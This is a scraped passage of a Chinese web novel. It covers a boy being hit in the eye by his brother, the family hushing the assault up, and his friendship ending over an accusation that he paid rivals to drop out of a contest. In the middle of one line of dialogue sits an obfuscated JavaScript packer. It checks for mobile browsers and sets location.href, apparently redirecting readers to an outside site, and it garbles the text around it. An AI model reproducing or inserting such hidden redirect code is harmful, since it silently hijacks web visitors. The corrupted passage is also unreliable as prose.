听见敲门声、弟弟在门外问他情况的糯糯的嗓音,唐天突然打开了房门。 唐晔见到他双眼通红,不禁瑟缩了一下。 唐天紧紧逼视着弟弟,良久,惨淡的笑了一下。“你一定觉得我很烦、很讨厌,对不?”话里带着一丝自嘲,又藏着深深的哀怨。 “哥哥,我没有。” “你骗人!”他问不出口的是,你和何嘉南说了什么?你为什么要和他说!只一瞬间,唐天感到自己像被抛弃的孩子,心中涌起一股凄凉与孤独。 他一只手用力抵住唐晔的脖子和胸脯,把他死死禁锢在房门口的墙边,另一只手的手指紧紧扣住唐晔的下巴,强迫他看向自己,力度之大,仿佛要将对方融入自己的身体。 唐晔被顶在墙上,无法动弹,无法反抗。 在回想起诸多往事后,他想起,反抗唐家长子,从来就没有用。 他想静静地等待风暴过去,像以前一样。 我们都是同样的人,我们只能相互依存、相互救赎!但你,你凭什么对我不理不睬!你凭什么用这种冷淡又怜悯的眼神看我!说呀,你凭什么可怜我?连你看不起我了是吗?去死吧!统统都去死吧! 在兄弟两人的反应之外,唐天突然失控,他右手猛地抓起靠墙的书架上的手办,用力砸向唐晔的头部! “啊!”随着弟弟一声短促的惨叫,唐天猛地惊醒。他踉跄着退后两步,一屁股坐到了地上,眼前的景象让他惊愕不已。 只见弟弟捂着左脸,痛苦地滚到地板上,鲜血从他的指缝间渗出,一滴滴落到地上。 陈姨听到楼上传来异响,匆忙跑上楼来。她看到眼前的情景,脸色瞬间变得惨白。她急忙扶起唐晔,仔细检查他的伤势,口中惊呼道:“不好了——” 纤瘦的少年紧紧捂着的左眼,鲜血一直向下淌着,染红了他的脸颊和手指。 唐天看着弟弟痛苦的模样,如同被刀割裂一般,心中的愧疚和自责瞬间如潮水般涌上心头。 他爬过去跪在弟弟身边,双手颤抖着想要去触碰他,却又害怕弄疼他。他呜咽着,一句完整的话都说不出来,声音满是悔恨和自责。 这一晚,唐家全家人都过不安稳,大家都往医院赶:二少爷唐天用塑胶模型把三少爷唐晔的左眼砸成重伤,眼皮和眉骨上缝了好多针,眼球积血,视网膜震荡,后续视力还要慢慢康复。 医生严肃地表示,要是伤得再低那么一点点,眼球就保不住了。 唐天坐在病房外走廊一直在发抖,嘴里一直说着,“我没有,我不想伤害他,我没想着伤害他。” 归秀兰把儿子抱在怀里,不住地安慰。 病房里,左眼上覆盖着厚厚纱布的唐晔,虽然医生护士多次哄劝、警告他停止哭泣,但泪水混合着血液还是湿透了层层纱布。他根本止不住眼泪。 但就算疼得浑身颤抖,他也坚持,报警。 唐万里坐在病房外的休息室,身心俱疲。前几天大儿子才给抖出个大热搜,今天两个孙子又出了这么大的事,一个差点疯了,一个差点瞎了。他的心又疼,又乱。 归秀兰在了解了事情的真相后,除了刚开始的焦燥和不解,更多的是心疼和难过。她心疼儿子硬是把抑郁症状的病情对自己隐瞒下来,同时也为儿子所犯下的错误感到痛心。本来前几天知晓真相后,她对这个小侄子刚刚生起的后悔和怜惜之心,这些天来他愿意陪同在儿子身边的感激之情,都因为儿子所犯的过错而变得复杂起来。 无可避免地,因为儿子所犯的过错,她不得不硬起心肠,只能与小侄子谈判。 她松开宝贝儿子,走到病房门口看了一眼唐晔。为了不妨碍医护,方源站在稍远离病床的地方,一直耐心劝说着受伤的孩子;两名护士正围在,一位护士一手轻轻地控制住他的双手,另一只手拍着他的背,安抚着他的情绪试图让他冷静下来;另一位护士则轻手轻脚地揭下覆盖在他眼睛上再次被眼泪浸湿的纱布。当纱布被揭下来时,可以清晰地看到唐晔左边的眉毛已被剃掉,取而代之的是一条深红的伤痕。连带着左半边额头和脸颊红肿得厉害,眼皮发红发紫,半睁的眼球向外突出,显露出浑浊和红肿的迹象。 归秀兰看在眼里,暗暗心惊。让她直接和小晔谈条件,她居然有点于心不忍。 她在转角的窗前找到了唐万里。 站在公公身边,一同看着进入深夜仍灯火璀璨的羊城,每个窗户里,又容纳着多少纷扰?她看着窗外的世界,心中却充满了对小天的担忧和对小晔的愧疚。此刻她站在了一个关键的路口。 “爸,我想好了。”归秀兰的声音坚定而有力,“唐家的一切,我都不想要。我只想把小天带走,去M国给他换一个环境。小晔的眼睛,如果失明了,那是我们欠他的,您和山海能留给小天的,小天一分都不要,全部都给小晔,作为赔偿他的眼睛。我只希望小晔能放过小天,给他一个重新开始的机会。” 唐万里没有说话,挥了挥手表示同意。他对大儿子内疚,对儿媳也内疚,连带着他们的儿子、自己的大孙子。 但小晔,这孩子……养了就养了吧,毕竟没有自己,这孩子根本无法出生、活不下来,不是吗? “爷爷,您让我放过唐天?”唐晔的声音里带着不甘和愤怒,“他有妈妈为他求情,所以他就拍拍手轻轻松松走了?不就是因为我没有父母亲护着吗?”他忍不住又哭了起来。 方源站在一旁,心里五味杂陈。他深知这个孩子的委屈和痛苦,刚刚好不容易安抚住的情绪,现在又因为老爷的决定而崩溃。他叹了口气,轻声劝道:“三少爷,小晔,乖!先冷静一下,养好伤再说。哭对您的伤可不好。” 然而,唐晔的情绪却难以平复。他抬头望着爷爷的脸,声音颤抖地问:“爷爷,他那样对我,我难道还要笑着和他说一路走好?!” 唐万里转过身来,眉头紧锁。他有些不耐烦地说道:“小晔,他们母子什么都不要,愿意把唐家的一切都留给你。小天还是个孩子,进了少管所就毁了!” “可我的眼睛都快瞎了!”唐晔突然大声哭喊起来。这是他第一次因为自己的事情向爷爷哭闹,心中充满了难以释怀的委屈和愤怒。 唐万里看着小晔哭泣的样子,心里也不是滋味,但他能让山海的儿子也被审判吗! 他走到窗前,背对着小晔冷笑说道:“够了!如果不是你从小纵容他,如果你从小能学会反抗一次,他怎敢随便打你骂你欺负你?” 听着爷爷的话,唐晔突然愣住了—— 他喃喃自语道:“我纵容……他?呵呵呵……” 他突然觉得一切都变得索然无味。 方源的声音带着几分急切,“老爷,您看这样如何?我先安排人送您回去,近日发生的事情繁多,您得好好休息一番。待明早您再过来探望三少爷。” 唐万里想再说点什么,却不知从何说起,他沉默片刻,点了点头,转身便离开了病房。 病房里安静下来。 方源正准备再劝,唐晔举手打断了他:“方伯伯,都无所谓了。反正唐天走了,唐家的东西都是我的,以后您也是我的了。我也累了。帮我关一下灯,谢谢。”他躺了下来,闭上眼睛,掩盖了全身的疲惫。 方源轻轻叹了口气,走到床边,帮他关上了灯,“少爷,您先休息吧。”说完,便转身离开了病房。 黑暗中,他睁开那只完好的眼睛凝视着天花板,仿佛想要从这片寂静中找寻一丝安慰。然而,回应他的只有无尽的沉默和心底涌起的悲凉。 当他试图只用一只眼睛看这个世界时,对周围景物却失去了距离感。他开始怀疑,是不是连这个世界都抛弃自己了。 何嘉南和他的父母都对自己说,自己也是值得被关注、被疼爱的,他告诉自己,任何人有权利说出自己的想法和感受。 自己鼓起勇气说了。但依然无人问津,得到的不过依然是冷漠,甚至是责备。 唐山海一家,是爷爷心目的至爱,是自己逾越不了的坎。自己呢,不过是个没有父亲、被母亲遗弃的孤儿,拿什么和天之骄子的唐天相比! 他想起以前曾读过的一首《钗头凤》: 世情薄,人情恶,雨送黄昏花易落。晓风干,泪痕残。欲笺心事,独语斜阑。难,难,难! 人成各,今非昨,病魂常似秋千索。角声寒,夜阑珊。怕人寻问,咽泪装欢。瞒,瞒,瞒! 第三十九 咽泪装欢 自从前天晚上出事之后,唐晔这两日几乎一言不发。 他的固执并不是没有缘由——事发次日一早,方源劝过唐万里再到医院探视三少爷,唐万里却觉得自己已经把能给的都已承诺他了,见面也不知能做什么,便只冷淡地让方源带话,让唐晔自己想清楚。方源再劝时,唐万里却连带着把方源也一并迁怒着。 方源独自来到医院,看到唐晔原本带着一丝希望的脸庞,在发现只有他一个人进门时,顿时黯然失色,如同坠入黑暗深渊,再不言语。 见这孩子这两日如此神伤,方源叹了口气,拨通了何西的电话。 何嘉南放学刚回到家,听妈妈焦急地说起唐晔因眼睛受伤而住院的消息。他一阵慌乱,扔下书包,急忙让妈妈驱车带自己前往医院。 他心乱如麻:事发已经两天,为什么他都不跟自己提半个字! 推开病房的门,何嘉南看到的是唐晔那往日里漂亮深邃的左眼,此刻却包扎着一层厚厚的纱布,显得那么脆弱而孤独。 何嘉南走到床边,看着唐晔那张略显苍白的脸,心中涌起一股难以言喻的疼惜。他伸出手,轻触唐晔的左边额角,连声音都在颤抖:“唐晔,为什么不告诉我!……你知不知道刚才听到时,我有多担心你?明明昨天、甚至前晚你就应该告诉我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14942759|160792||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 唐晔见是他来了,努力扯出一个轻松的笑容,说:“没什么好说的呀,摔跤又不是什么光彩的事……” 前晚?独语斜阑,难!我难道要把自己是如何不被家人喜爱的事实掀开给你看吗?你有那么疼你爱你的、去哪、做什么都愿意陪着你的父母。 这么宝贵的财富,我一点儿也没有。 怕人寻问,只得咽泪装欢。 “什么事都要和我说,好吗?我不想再从别人口中知道你的事,特别是你生病和受伤……”他一定很疼,想到这里,何嘉南的心如刀割一般。 听着何嘉南的让他安心的声音,唐晔心中的委屈像洪水般瞬间决堤,他突然哇地一声大哭起来,泪水顺着脸颊滑落。何嘉南被他的哭声吓了一跳,赶紧伸手抱住他,小心翼翼地让他的右脸靠在自己肩膀上,又轻轻拍打着他的后背,试图安抚他的情绪。 “怎么了?怎么了?先别哭啊,唐晔。”何嘉南的语气里充满了焦急和关心,“告诉我,是不是伤口还很疼?还是,有人欺负你了?” 唐晔在何嘉南的怀里抽泣,几次想要开口却又紧咬住嘴唇,似乎在经历一场内心的挣扎。他很想告诉何嘉南真相——是唐天弄伤的,他的母亲为他辩解,而爷爷却只想息事宁人。然而,每次话到嘴边,他却又默默咽了回去。 在何嘉南的怀抱中,唐晔逐渐平静了下来,呼吸也变得平稳了许多。 护士推开了病房的门,手里捧着新的纱布和一些消毒用品。她走到唐晔的床边,轻柔地开始为他更换眼睛上的纱布。 何嘉南站在一旁,目光紧紧锁定在唐晔左眼的伤处,整只眼睛又红又肿胀,像个小桃子,眼皮无法睁开。一道从眉骨上方延伸到眼皮上的深深伤口虽然已经被小心地处理过,但依旧可以看出它曾经的狰狞。 看着护士小心翼翼地进行操作,何嘉南转向唐晔,眼中满是难以平静的心疼与宠溺。他带着些许责备的语气说道:“你这家伙,是怎么把自己弄成这样的?” 唐晔打起精神微微一笑,嘴角却勾起一个苦涩的弧度。他避开何嘉南的目光,淡淡地说:“没什么,都说了,就是不小心摔跤了,撞到了眼睛。” 何嘉南的眉头微皱,显然不信唐晔的说辞。他深知唐晔的性格,不是那种会轻易诉苦的人。他凝视着唐晔的脸,试图从那张单纯又委屈的脸上读出更多的信息:“摔跤?怎么不见你把自己脑子给摔傻了呢!” 护士换好新的纱布,又叮嘱他别再哭泣,便出去了。何嘉南忍不住又轻手轻脚地摸摸他受伤的眼睛。 他乖乖的任何嘉南触碰,又说,“好了,别说我了。你这几天怎么样?学校里有什么有趣的事?” 何嘉南看着唐晔那张故作轻松的脸,心中一阵酸楚。他知道,唐晔是在转移话题,不想让自己担心。他深吸一口气,压下心中的情绪,笑着说:“我能有什么有趣的事,不就是每天上学放学的,你又不来学校,放学又没人跟我一起走。” “你朋友那么多!少我一个不少。”唐晔嘟着嘴回应道。 “哎,说起这个,昨天钟小琳……” 两人闲聊了一会儿,气氛逐渐轻松起来。何嘉南不时地逗着唐晔笑,试图用欢笑驱散病房里的沉闷。 方源在门外,看着自家小少爷的心情好转不少,连忙叫人把晚饭送进来。 唐晔瞥了一眼,便冷冷地吩咐拿走。他已经两天没有食欲,每当方源或是别的医护劝他吃东西,他都会推说伤口疼痛,没吃两口就不肯再动筷子。 看着小少爷这边难过得连饭都吃不下,方源暗暗叹了一口气,心疼不已,他与何嘉南对视一眼,目光带着恳求,只求何公子能让他多少吃一些。 何嘉南让自己的声音听起来轻松:“那句台词是怎么说来着?这碗粥,我可是特意为你煮的。尝一口嘛!” 唐晔忍着疼痛朝他翻了个白眼,表示不想理会。 何嘉南又说:“不吃东西,你是打算升仙是不?别忘了带上我一个啊!不过你不吃东西怎么拖得动我一起飞升啊?” 唐晔哼了一声,但依然抿着嘴没有说话。 “熊大,熊二,快来吃饭,吃完饭我们去森林里探险!”何嘉南又轻轻碰了碰他的脸颊,逗着他。 听到他滑稽的话语,唐晔刚想咧嘴大笑,却不小心扯到疼痛处,连忙用手捂着自己受伤的左眼,垂首避开何嘉南的视线,赌着气回应道:“熊大熊二的眼睛又不疼!” 何嘉南看着他忍不住想大笑又留心捂眼睛的略柔弱的动作,强压下心头的悸动:“你用眼睛吃饭啊?!” 唐晔慢慢转过头,看着放在窗边桌上的饭菜,露出勉为其难的表情。 何嘉南看出唐晔的态度开始变得顺从:“过来陪我吃点嘛!”二话不说,把他从床上拖起来,按到桌边的椅子上。 “我们比赛!”何嘉南看到菜式精致,忍不住食指大动! “我又看不清楚,不公平!”唐晔还是不情不愿。 “我把眼睛闭上也比你快,你信不!”何嘉南嘴上这么说,却忍不住先动筷子夹了一口菜,细细嚼着,然后才闭起眼睛来。 “你耍赖,先夹菜再闭眼睛!”唐晔忍不住笑了出来,他的嘴角勾起一丝弧度,虽然伤处仍然肿胀疼痛,但心情却已经好了许多。 “我就闭眼睛吃,你也试试看。”何嘉南笑着说,他睁开眼睛,看着唐晔,眼中满是期待。 “你闭上,我就吃。” “那说好了哦,我不看你,你主动吃。”何嘉南一边说着,一边乖乖把眼睛闭上。 唐晔心中的固执渐渐消散。他转过头,目光落在那碗温热的粥上,嘴角不自觉地勾起了一丝微笑。 方源在一旁看着,心中也松了一口气。他连忙走过去,为唐晔盛了一碗粥,递到他的面前。唐晔接过碗,轻轻地吹了吹,然后小口小口地吃了起来。 “怎么样?好吃吗?”何嘉南一边眯缝眼嚼着饭菜,一边问道。 唐晔点了点头,眼中闪过一丝暖意:“嗯,好吃。……你是不是偷看了?” “我又不是偷看食物,我是在看你!”何嘉南笑了笑,又夹了一块鱼肉放到唐晔的碗里,“多吃点鱼,补身体。” 唐晔放下碗,认真地看着何嘉南:“何嘉南,谢谢你,我觉得好多了。” 何嘉南一愣,随即笑道:“你赶紧吃饱就是谢我了!咱们俩谁跟谁啊!……你快点好起来,回到我们身边来!” 两人就这样一边聊着天,一边吃着饭,虽然唐晔的眼睛还疼着,但他已经忘记了之前的愤怒和哀伤,只想享受这一刻的平静。 在羊城的夜色中,唐天走出医院门口,心中充满了哀漠和死心。他即将坐上今晚的飞机离开这座城市,离开他心心念念的弟弟,但心中的愧疚和歉意却如同重石一般压在他的心头。 那天失手伤了小晔,是他这一生都无法忘记的噩梦。每当闭上眼睛,他都能清晰地看到小晔顺着脸颊流下来的鲜血、他痛苦的表情,听到他尖声呼喊。 伤了他的那一刻,他仿佛失去了整个世界,悔恨得无法用言语来形容。 这两天,归秀兰把他看得紧紧的,以防他再发生意外。但他只抱着吉他,独自坐在房间里发呆。 吉他上的弦仿佛也带着他的心事,发出低沉而忧郁的旋律。他想着小晔,想着他伤害小晔的过去,又想着这一年来相互陪伴的那些快乐时光,心中充满了无尽的思念和悔恨。 今晚,唐天决定无论如何也要去见一见唐晔,亲口向他道歉。他知道这可能是他最后的机会了,即使小晔恨他、不原谅他,他也无所谓。他只想让小晔知道,他是真心悔过,希望他有一天能不再恨自己,能让自己再靠近他一次。 然而,当他隔着医院的走廊,却看到了何嘉南陪在唐晔的身边。他们的氛围是那么和谐、那么温馨,仿佛他们才是最亲密的人。 从今以后,他和唐晔之间,应该再也不会有交集了。 吃完饭后,何嘉南又陪着唐晔聊了一会儿天,唐晔预计着他做作业的时间,再三催促他回去。 “我明天把作业也带过来做。”说完,何嘉南才依依不舍地离开。 26. 第 26 章 远远看着何耀祖的侄孙已经离开,张恩国走进唐晔的病房。 何嘉南刚走,唐晔靠在床头保持着刚才的姿势,脸色虽然苍白,但嘴边仍挂着淡淡的笑意。这时他看到张恩国走进来,眼中闪过一丝警惕。 “听说你这边出了点小状况,我就赶紧过来看看你。”张恩国带着关切的笑容,语气中却透露着一种难以言明的深意。 唐晔不动声色地回答:“您消息可真灵通!” 张恩国并不在意唐晔的态度,他大喇喇地坐在旁边的椅子上,继续说道:“那可不!我还听说,伤你的人正是你的哥哥唐天。” 唐晔的身体猛地一颤,他不敢相信自己的耳朵。“你怎么会知道?”他脱口而出。 张恩国微微一笑,说道:“在这个世界上,没有不透风的墙。唐天有双相情感障碍的秘密,我也知道。他躁狂症发作时,根本控制不住自己的情绪和行为。你被他下手弄伤弄死,迟早的事。” 唐晔的脸色变得更加苍白,他怀疑过哥哥有精神方面的疾病,但连他也不能确认的信息,这张老头竟然会知道?那么,他如何得知的? 他感到一阵恐惧从心底升起。 张恩国看到唐晔的反应,心中暗自得意。他继续说道:“并且,你也明白,唐家众人并不疼爱你。唐万里和归秀兰只关心自己的名誉和利益。出那么大的事,你差点失明,他们想着的,却只是如何掩盖唐家二少爷伤人的事实。” 唐晔闻言,嘴角勾起一丝惨淡的笑:“看来,你在我四周都布下了天罗地网,恐怕连窃听器都装上了,真是细心周到啊。” 男孩满嘴嘲讽,健硕老人却不以为忤,反而走到窗前,摇了摇头叹道:“唐万里老弟呀,你一生英名,如雷贯耳,怎的到了晚年,竟会相信那‘受害者有罪论’的谬论?”他又看向病床上那个倔犟的孩子:“你这娃儿倒是不会哭诉!没听过‘会哭的孩子有奶吃’这话?,我都替你感到不值!” 唐晔闻言,淡淡一笑,眼中闪过一丝悲凉,缓缓说道:“哪有那么多这种那种‘受害者有罪论’,不过是人心淡漠,世态炎凉罢了。不喜爱、不关心、不共情,这才是根源所在。……哭诉,只对关爱自己的人有用,对于旁观者,不过是惺惺作态而已。”他又看了看张恩国,嘲讽道:“您来落井下石的话,那就选对时机了。” 张恩国见状,冷笑一声说道:“别急着把我推开!只要你愿意,明天你哥哥致你重伤又没事走人的事就会人尽皆知。但对于你并没有什么好处。我带你离开这里,给你一个新的开始。只要你愿意跟着我,我会给你想要的一切。” 男孩沉默了片刻,他的眼中闪烁着复杂的情绪,既有对家庭的绝望,也有对未来的迷茫。 “我会考虑。”他缓缓转过头,没有再看张爷爷。 见此,张恩国不再多言,径自离开了病房。他已经成功地在这孩子心中种下了离间的种子。 接下来的几天,何嘉南像是找到了新的使命一般,放学后总是第一时间骑上他的自行车,穿越繁忙的街道,来到医院。他的心里充满了期待,因为他知道,那里有一个需要他陪伴的人。 每当他推开病房的门看到唐晔瘦削的身影,何嘉南的心就暖了起来。他们一起聊天,说笑,仿佛整个世界都只剩下他们两个人。何嘉南会盯着唐晔吃完每一口饭,看着他的嘴巴不情不愿努力咀嚼着食物,然后再拉着他一起做作业。每当这时,唐晔总会露出一丝微笑,那是久违的、发自内心的笑容。他眼睛上的伤也在逐渐好转,左脸也逐渐消肿了。 这一天,何嘉南像往常一样一放学就骑着车赶到医院。刚到病房外,他却听到一个有些熟悉的声音在叫嚷着什么。他悄悄地靠近,耳朵贴在门上,想听听里面到底在说什么。 “他为什么跟我说他不再回来,发生了什么事?”那个女声带着哭腔问道。 没有人接话,这声音带着愤怒和不甘继续说道:“他究竟去哪了!是不是你逼走他的!” 何嘉南猛地推开门,果然看到了黎梓茵。她正哭着对唐晔大叫,而唐晔则默不作声,眼神中透出一丝无奈和疲惫。 “他那么迁就你,忍让你,以你为中心,而你呢,又是什么态度对待他?” “黎梓茵,你在说什么呀!”何嘉南走到唐晔面前护住他。 黎梓茵哭着离开病房。 何嘉南跑了出去,叫住黎梓茵。 她转过头,泪眼婆娑地看着何嘉南,然后指着唐晔病房的方向说:“唐天对我说,唐晔根本就不是他亲生弟弟,他只是唐家的养子,根本就没有继承权,但是现在唐天为什么会离开羊城……你自己问他!对唐天做了什么!”说着,她怒气冲冲地离开了。 何嘉南看着黎梓茵的背影,心中涌起一股莫名的烦躁。他进了病房看向唐晔,发现他的脸色比平时更加苍白。 “唐晔,你们家到底怎么了?唐天去哪了?你们爸爸的事,现在也逐渐平静下来。为什么他依然没有出现过?”何嘉南的语气中带着关切和疑惑。 唐晔沉默了一小会儿,然后似笑非笑地说:“你不是听到了吗?哥哥他到国外去了呀!他收到伯克利音乐学院的通知,他妈妈带他去报到了。” “他不再回羊城了吗?那你们家那么大的家业,他都放弃了呀?”何嘉南惊讶地问道。 唐晔淡淡地笑了笑,眼中闪过一丝复杂的情绪:“当然,都是我的了啊!” 六月底,微风拂过校园,阳光透过树梢洒下斑驳的光影。初三的升学红榜前,人头攒动,学生们纷纷围观着那一张张载满荣誉的榜单。而在这其中,梁一民的名字引起了不小的轰动。 他的名字旁,清晰地标注着“受万里地产资助”的字样。这一消息像一颗投入湖面的石子,激起了层层涟漪。大家议论纷纷,猜测着这背后的原因和含义。 何嘉南站在人群中,眉头紧锁。 他望着梁一民的名字,心中涌起一股莫名的疑惑。他清楚记得半年前,梁一民和张亦晨的退出,给赵铭轩和王翔宇的小队带来了不小的困扰。而自己和唐晔,作为初一的新生,被学校派去顶替了他们的位置。那时,他还曾暗自庆幸有了这次机会,能够站在更大的舞台上展示自己。 如今,看到梁一民受到万里地产这样的资助,又想起唐晔跟自己说过私下向梁一民捐款的事,何嘉南心中不禁涌起一股疑惑和不安:他只是想向梁师兄求证,唐晔捐款此举,与他们俩的参加联赛资格无关。 他马上跑到初三的楼层找梁一民,想问个清楚。但梁一民并不在教室,何嘉南无奈,只能暂时离开。 就在这时,他在走廊遇到另一个退赛者,张亦晨。由于他这次退赛、而英语比赛并未获省一等奖而未获加分,张亦晨的总分并未能位列前十。 何嘉南犹豫了一下,但还是走上前去:“张师兄,我有事想问你。” 张亦晨转过身来,看着何嘉南,脸上露出了一丝异样,“你是想问关于梁一民的事吧?”他淡淡地说道。 何嘉南点了点头,心中涌起一股不安。“当时你们俩为什么要退赛?”他试探着问道。 张亦晨沉默了片刻,然后深吸了一口气,缓缓地说道:“看到梁一民受唐家资助,你不是已经猜到了吗?” 何嘉南的心猛地一沉:“我希望你能告诉我真相!” 张亦晨苦笑地摇摇头:“真相吗?真相就是,唐晔曾经出钱让我们退出,整整300万!”张亦晨的声音如诱惑一般,每一个字都踩在何嘉南的心上。 “这不可能!”何嘉南难以置信地瞪大了眼睛。 张亦晨深吸了一口气,继续说道,“梁一民的母亲得了重病你知道吧,需要一大笔钱来治病。唐晔就是利用这一点,诱惑他退赛。他承诺只要梁一民和我退出,就会给他这笔钱。而梁一民为了救母亲的命,不得不答应了他的要求。” “那你又为什么会答应?!”何嘉南的声音有些激动。 张亦晨苦笑了一下,说道:“我承认,一我有私心,觉得英语那儿机会更大,二我的确也想帮梁一民,便顺水推舟了。他见我也同意了,没给我们反悔的机会,当面就把300万转给梁一民!当晚他妈就开始了新疗程!但,你别忘了他唐晔的真正心思,他那时刚因为得罪老师被剥夺了数学比赛的奖项,他热烈地渴求另一个机会来证明自己,仅此而已!仅此而已,他就可以随随便便用300万来买下梁一民的机会和未来!” 听完张亦晨的话,何嘉南沉默不语,他感到愤怒、失望和不解。他不明白为什么唐晔会做出这样的事情,为什么他要牺牲别人的利益来达到自己的目的。他怎么可以!但他果然做了! 张亦晨无奈地摇了摇头,说道:“这就是现实。有些人为了达到自己的目的,不择手段。唐晔就是这样的人,你和他这么好,该不是给他单纯的样子骗了吧?他出身商贾之家,哪可能心思单纯!为了达到自己的目的,牺牲别人的利益,有何不可。” 何嘉南的心中充满了愤怒和不满。他觉得唐晔不仅背叛了他们之间的友谊,还践踏了大家学生的尊严。 他决定要去医院找唐晔问个清楚。 医院的走廊里,弥漫着消毒水的味道,何嘉南的心却像被烈火焚烧一般。 唐晔倚在床头,快速地在电脑上输入着什么,左眼依然被绷带包裹着,只剩下另一只眼睛反射着电脑上复杂的光芒,幽幽蓝光竟显得他的表情有点儿狰狞。 看见何嘉南来了,唐晔打起精神抬起头开心地朝他一笑:“今天怎么这么早?” 但他很快就察觉出何嘉南神色异常。 “唐晔,你还记得那300万的事吗?”何嘉南一个字一个字、咬牙切齿地说。 “哪300万?”一直对金钱感受不深的他已经忘了借钱给梁师兄的母亲治病的事——当时他也没把梁师兄说会还钱的事记在心里。 何嘉南心里却想,还装傻?!他耐着性子答道:“你给梁师兄那300万。” 唐晔的声音有点疑惑:“嗯,你现在说,我就记得了。当时不是和你说过,捐给他母亲看病的吗。”他只是不解,这与何嘉南有什么关系?为什么他会这么怒容满面? “那为什么你说不用他还?”何嘉南咬着牙说。 “他还得起吗?”唐晔平静地陈述了一个事实。 但传到另一个人的耳朵里,却像是一个傲慢至极的讥讽。何嘉南眼神冷冽,一步跨到唐晔的病床前,毫无预兆地直接质问:“你当时让我不要别人说,是因为你给了钱给梁师兄,让他们退赛。对吗?” 面对这突如其来的问题,唐晔沉默了一会儿,弱弱地说:“我如果说不是这样,你信吗?” 何嘉南极其怀疑:“是、吗?!” 唐晔的心一沉。 见他半天不解释,何嘉南的心如被重锤击中,他愤怒地喊道:“当时你说你在这场比赛押了太多,就是因为用300万买下梁师兄的资格吗?你怎么可以这样做!有钱很了不起吗? “何嘉南,你该不会以为这是事情的真相吧?” 而何嘉南只听得见自己的心跳在耳边震动:张亦晨说的是真的!唐晔给了钱给梁师兄,让梁师兄退赛,梁妈妈有钱治病、他去参加并获奖,看似大家双赢。 他的心眼,居然这么自私。 此时,何嘉南又突然想起黎梓茵的话,黎梓茵说唐晔是唐家养子,他没有唐家的继承权。 但如果,唐天不见了呢? 他突兀地问:“唐天去哪了?” 听到唐天的名字,唐晔的伤口突地剧痛起来,他本能地捂着差?点就失明、现在还覆着厚厚的纱布的左眼,低声回答:“上次不是告诉过你了?他收到伯克利的通知,急着去报到,他妈妈带他去M国了。”语气中透着一丝疲惫和无奈,仿佛已经厌倦了这一切的纷扰。 何嘉南看他做着这个略显柔弱的举动,若在往日,他一定会为之心生怜悯,但此时此刻,他却觉得这只是唐晔在装可怜罢了:“你那天说,唐天小时候对你不好,我信了……” 他脑海中又闪过最近新闻上关于唐天父母与唐氏集团股权拆分的事情,怀疑地再次质问唐晔:“难道不是你想报复他,所以趁机赶走了他、拆散了他爸妈的公司的吗?” 唐晔沉默不语。 何嘉南把他的沉默当做心虚,情绪愈发激动:“为什么你要做这样的事!你原来不是这样的人,什么时候你变成这样了?” 唐晔用那只完好的眼睛定定地看着何嘉南,他脑海里满是不可置信和无言以对:读懂何嘉南的眼神才发现,无论自己说什么,他都已经认定了他是为了唐家的巨额财富把唐天逼走的,也认定他为了获得洗白自己上一次成绩的机会,拿钱给梁师兄迫使他退赛。 师兄退赛是事实,他捐钱是事实。唐天远走是事实,他得到财富也是事实。 一念成佛,一念入魔。 何嘉南目不转睛地盯着唐晔,心中那股怒火与失望交织在一起,如同熊熊燃烧的火焰,几乎要将他吞噬。他无法想象,曾经那个与他一起玩耍、一起并肩参赛、一起躺在床上畅想未来、一起共度无数欢笑与泪水的人,如今竟会做出如此令人不齿的事情:“说呀,你不是说我们俩是最好的朋友吗?你为什么不解释?” 解释?不想再解释什么了。 怀疑的种子只要一种下,就会生根发芽,长成参天大树。 自己一直信任和仰慕的人,如今却站在高处,判决了自己。 像自己这样肮脏又卑微的人,不配成佛。 曾经被他温暖的心渐渐冷却,仿佛被寒风刺透,冷得彻骨。 唐晔轻笑:“你不是觉得我做出这样的事,没资格当你朋友吗?那我也不要你这个朋友了。” 他说得很快,如同一把锋利的快刀,迅速刺入何嘉南的心中,何嘉南愣住了,他完全没有想到唐晔会说出这样的话。 他呆呆地看着唐晔,心中涌起一股莫名的痛楚。 空气中弥漫着压抑和沉重,就像一层无形的阴影笼罩在两人之间。 唐晔低下头,目光落在仍在闪烁的笔记本电脑屏幕上,他的声音带着一丝淡漠:“你不用在意以后我们两个见面会尴尬,我已经申请了京城科技大的少年班,过几天就会离开羊城。” 何嘉南听到这些话,脸上闪过一丝惊愕,本能反应说:“谁会尴尬啊,少你一个不少!”心中却像被背叛了一样愤怒不已。 唐晔从没有和自己提过半句,就申请了这最高学府,嗯,也对,以他的聪明才智,做什么不轻而易举呢!考试随便满分,比赛轻松金奖,上知天文下知地理,琴棋诗画样样精通…… 他没想到他们之间的友谊在什么时候已经变得如此脆弱不堪,他发生了什么事、作什么决定从来不会和自己讲述;他也没想到,唐晔走得如此果断。 他冷冷一笑,想起何柏文以前曾开玩笑说过,在像唐晔这样的天才眼中,他们这些所谓的朋友,不过低智得像草履虫吧?随意玩弄着自己,不,大家的感情,被察觉后,他可以轻易地说出“不要你这个朋友”这种话,而他们却只能被动接受?! 何嘉南本来气得转身要走,却突然停住了:“你为什么要离开羊城?你明明得到你想要的东西了!”毕竟唐家的根基在南方。何嘉南试图抓住这个疑惑。 唐晔没有抬头,只是淡淡地回应:“就这样吧,何嘉南。我们之间的友谊已经结束了,你再纠缠下去也没有意义。从现在开始,我不会再跟你讲任何一句话。” 何嘉南紧绷嘴角,最终再次转身离开了病房。 当他转身背对自己的那一刻,唐晔的心仿佛被抽空了一般,一种前所未有的巨大的撕裂感和痛楚瞬间涌上心头。 他望着何嘉南渐行渐远的背影,心中充满了无法言述的哀伤。 他一直是毫无安全感的、谨小慎微的、诚惶诚恐的。何嘉南像在黑暗中手里提着灯的人,他可以一直看着何嘉南的背影前进。失去这份友谊后,他不知道该如何面对未来,也不知道该如何面对自己的内心。 大滴大滴的泪水从他那只完好的眼睛里滴下来。 